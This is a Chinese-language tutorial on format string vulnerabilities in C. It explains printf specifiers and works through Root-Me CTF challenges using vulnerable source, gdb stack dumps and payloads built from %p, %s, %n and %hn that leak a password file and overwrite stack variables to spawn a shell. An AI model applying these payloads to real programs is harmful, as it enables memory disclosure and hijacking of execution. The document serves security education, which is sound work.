0x01格式化字符串漏洞原理
1、格式化字符串函数
- 输入:scanf()
- 输出:
函数 | 基本介绍 |
---|---|
printf | 输出到stdout |
fprintf | 输出到指定FILE流 |
vprintf | 根据参数列表格式化输出到 stdout |
vfprintf | 根据参数列表格式化输出到指定FILE流 |
sprintf | 输出到字符串 |
snprintf | 输出指定字节数到字符串 |
vsprintf | 根据参数列表格式化输出到字符串 |
vsnprintf | 根据参数列表格式化输出指定字节到字符串 |
setproctitle | 设置argv |
syslog | 输出日志 |
err, verr, warn, vwarn等 | 。。。 |
共同点:按照格式化字符串格式将栈上的数据输出到相应的流中
2、格式化字符串
基本格式:
%[parameter][flags][field width][.precision][length]type
- parameter:可忽略或者是n$
n是用这个格式说明符(specifier)显示第几个参数;这使得参数可以输出多次,使用多个格式说明符,以不同的顺序输出。 如果任意一个占位符使用了parameter,则其他所有占位符必须也使用parameter。
例如:
printf(“%2 d d #x; %1 d d #x”,16,17) 产生”17 0x11; 16 0x10”
- flags:可为0个或者多个(不重要)
字符 | 描述 |
---|---|
+ | 总是表示有符号数值的’+’或’-‘号,缺省情况是忽略正数的符号。仅适用于数值类型。 |
空格 | 使得有符号数的输出如果没有正负号或者输出0个字符,则前缀1个空格。如果空格与’+’同时出现,则空格说明符被忽略。 |
- | 左对齐。缺省情况是右对齐。 |
·#· | 对于’g’与’G’,不删除尾部0以表示精度。对于’f’, ‘F’, ‘e’, ‘E’, ‘g’, ‘G’, 总是输出小数点。对于’o’, ‘x’, ‘X’, 在非0数值前分别输出前缀0, 0x, and 0X表示数制。 |
0 | 如果width选项前缀以0,则在左侧用0填充直至达到宽度要求。例如printf(“%2d”, 3)输出” 3”,而printf(“%02d”, 3)输出”03”。如果0与-均出现,则0被忽略,即左对齐依然用空格填充。 |
- field width: 输出的最小宽度
- precision: 输出的最大宽度
- length :
- h :输出一个字节
- hh :输出双字节
- type :
- d/i,有符号整数
- u,无符号整数
- x/X,16进制unsigned int 。x使用小写字母;X使用大写字母。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
- o,8进制unsigned int 。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0,则输出为空。
- s,如果没有用l标志,输出null结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了l标志,则对应函数参数指向wchar_t型的数组,输出时把每个宽字符转化为多字节字符,相当于调用wcrtomb 函数。
- c,如果没有用l标志,把int参数转为unsigned char型输出;如果用了l标志,把wint_t参数转为包含两个元素的wchart_t数组,其中第一个元素包含要输出的字符,第二个元素为null宽字符。
- p, void *型,输出对应变量的值。printf(“%p”,a)用地址的格式打印变量a的值,printf(“%p”, &a)打印变量a所在的地址。
- n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
- %, ‘%’字面值,不接受任何flags, width。
3、漏洞原理
printf函数参数调用过程
根据cdecl的调用约定,在进入printf() 函数之前,将参数从右到左依次压栈。进入 printf() 之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是 %,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的参数并解析输出。(注意:% d 和 %d 是一样的)
例如这样一段程序:
#include <stdio.h>
int main(void)
{
int a=1,b=2,c=3;
char buf[]="test";
printf("%s %d %d %d\n",buf,a,b,c);
return 0;
}
当执行printf函数时,调用参数的过程如图所示:
因此当我们能够控制format的时候,就可以不断的从内存读取数据(甚至写入数据)。而有些程序中会出现 类似printf(str)的代码,将str直接输出,如果str中包含了格式化字符就会被当作格式化字符串解析,从而引发格式化字符串漏洞。
0x02 格式化字符串漏洞利用姿势
使程序崩溃
如果只是想要搞破坏让程序崩溃,就再简单不过了,只用输入足够多个%s,因为栈上不可能每个值都对应了合法的内存地址,在访问非法的内存地址的时候总会使程序崩溃。
泄露内存
泄露栈内存
- 获取栈变量数值
printf (“%08x.%08x.%08x.%08x.%08x\n”);
- 获取栈中第n+1个变量的数值
printf(“ %n$x ”)
- 获取栈变量对应字符串:使用%s
当然,并不是所有这样的都会正常运行,如果对应的变量不能够被解析为字符串地址,那么,程序就会直接崩溃。
总结:
利用%x来获取对应栈的内存,但建议使用%p,可以不用考虑位数的区别。
利用%s来获取变量所对应地址的内容,只不过有零截断。
利用%order$x来获指定参数的值,利用x来获取指定参数的值,利用s来获取指定参数对应地址的内容。
栗子一:rootme ELF x86 - Format string bug basic 1
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]){
FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
char buffer[32];
fgets(buffer, sizeof(buffer), secret);
printf(argv[1]);
fclose(secret);
return 0;
}
程序读取了.passwd文件把内容放在了buffer中,buffer在栈上,因此只要泄露了栈中的内容就可以读取到.passwd的内容
使用
./ch5 $(python -c ‘print “%p.”*32’)
泄露buffer中的内容,得到
发现第10、11、12个位置是能解析的字符串,利用ascii码翻译得到flag.
泄露任意地址内存
S1:确定地址为格式化字符串中的第几个参数(即格式化字符串的首地址)
[tag]%p%p%p%p%p%p…
S2: 获取指定地址的内容(k为上一步中%p的个数) %s用于获取指针指向的内存数据
addr%k$s
栗子二:
源程序代码
#include <stdio.h>
int main(int argc, char *argv[])
{
char str[200];
fgets(str,200,stdin);
printf(str);
return 0;
}
在printf执行前栈上的状态如图所示:
因此通过格式化字符串漏洞,可以直接读取str里面的内容(不过不用漏洞也可以),使用gdb调试这个程序,在printf前设置断点
输入AAAA%08x%08x%08x%08x%08x%08x或AAAA%p%p%p%p%p%p,程序停在printf前时,查看堆栈状态:
>>>x/10x $sp
0xbfffef70: 0xbfffef88 0x000000c8 0xb7fc1c20 0xb7e25438
0xbfffef80: 0x08048210 0x00000001 0x41414141 0x78383025
0xbfffef90: 0x78383025 0x78383025
继续执行,我们成功读到了AAAA
AAAA000000c8b7fc1c20b7e25438080482100000000141414141
因此我们确定了AAAA为第九个参数,再输入
addr%8$s
就可以读取addr处的内容
覆盖内存
利用%n可以向内存中写入数据
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
覆盖栈上的变量
S1:确定覆盖地址,即目标地址,一般会是某个变量的地址,或者是存放shellcode的起始地址
S2:确定相对偏移:
确定存储格式化字符串的地址是printf将要输出的第几个参数,通过泄露任意地址内存的方法进行
S3:进行覆盖
通过%n进行对相应地址的覆盖,基本格式为
[addr]%num d%k$n
其中num+4为需要向addr填充的数字(因为addr有4个字节),k为第二步确定的第k个参数
覆盖任意地址
覆盖小数(小于机器字长的数)
S1:确定目标地址:确定要覆盖的地址
S2:确定偏移地址
“AAA0_%08x.%08x.%08x.%08x.%08x.%n”
%08x会增加格式化函数中的栈指针(EIP)四个字节。不断增加%08x的数量直到指针指向format string的开始位置(“AAA0”).由于format string总是位于格式化函数栈帧的顶部,因此这个位置一定会被找到。此时“%n”尝试将一个小整数(10)写入0x30414141的位置,因此会引发错误。
S3:进行覆盖
例如需要将某个数字写入0xbfffc8c0的位置,只需将format string修改为
\xc0\xc8\xff\xbf_%08x.%08x.%08x.%08x.%08x.%n
利用 %nu这样的格式,我们可以简化以上的写法为
\xc0\xc8\xff\xbf%10u%n
便向0xbfffc8c0写入14这个数
覆盖大数(写入跳转地址)
方法一:分次写入
一个地址的数值是非常大的,一般超过了机器数的表示范围。但是地址是由四个字节组成的,因此我们可以分四次进行写入。
例如
unsigned char canary[5];
unsigned char foo[4];
memset (foo, ’\x00’, sizeof (foo)); /* 0 * before */
strcpy (canary, "AAAA");/* 1 */
printf ("%16u%n", 7350, (int *) &foo[0]); /* 2 */
printf ("%32u%n", 7350, (int *) &foo[1]); /* 3 */
printf ("%64u%n", 7350, (int *) &foo[2]); /* 4 */
printf ("%128u%n", 7350, (int *) &foo[3]);/* 5 * after */ printf ("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf ("canary: %02x%02x%02x%02x\n", canary[0], canary[1],canary[2], canary[3]);
输出为10204080,canary=00000041。我们向内存中每次插入4个字节,但是每次将地址加一,因此内存的变化过程如图所示:
这种方法可以换种写法
strcpy (canary, "AAAA");
printf ("%16u%n%16u%n%32u%n%64u%n",
1, (int *) &foo[0], 1, (int *) &foo[1],
1, (int *) &foo[2], 1, (int *) &foo[3]);
printf ("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf ("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]);
发现填充的内容与之前发生了变化。我们想将16x,32x,64x,128x写入内存,但这里填充变成了16x,16x,32x,64x,这是因为%n存入的是之前format string的长度,第二次想写入32x的时候,已经有16x字节存在在formatstring里了。
注意当我们需要写入的四个字节并不是增序时,例如要写入80 40 20 10,因为是小端存储而且只有末尾字节比较重要,我们可以向内存写入0x80 0x140 0x220 0x310就可以达到目的。
方法二:Short write
利用两个格式化参数
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
所以说,我们可以利用%hhn向某个地址写入单字节,利用%hn向某个地址写入双字节
因此我们可以通过%hn将单字节需要写入四次的数双字节两次写入。而%hhn比起%n的优点是不会修改其后的内容。
栗子三:rootme ELF x86 - Format string bug basic 2
Source Code:
#include <stdio.h>
#include <stdlib.h>
/*
gcc -m32 -o ch14 ch14.c
*/
int main( int argc, char ** argv )
{
int var;
int check = 0x04030201;
char fmt[128];
if (argc <2)
exit(0);
memset( fmt, 0, sizeof(fmt) );
printf( "check at 0x%x\n", &check );
printf( "argv[1] = [%s]\n", argv[1] );
snprintf( fmt, sizeof(fmt), argv[1] );
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
printf( "fmt=[%s]\n", fmt );
printf( "check=0x%x\n", check );
if (check==0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
system("/bin/dash");
}
}
程序需要将check从原来的0x04030201覆盖为0xdeadbeef
S1:确定目标地址,程序中已经输出了check的地址:0xbffffb38
S2:确定偏移地址
找到了30414141
S3:进行覆盖
首先计算需要写入0xbeef和0xdead需要写入多少字符
然后利用%hn完成两字节覆盖。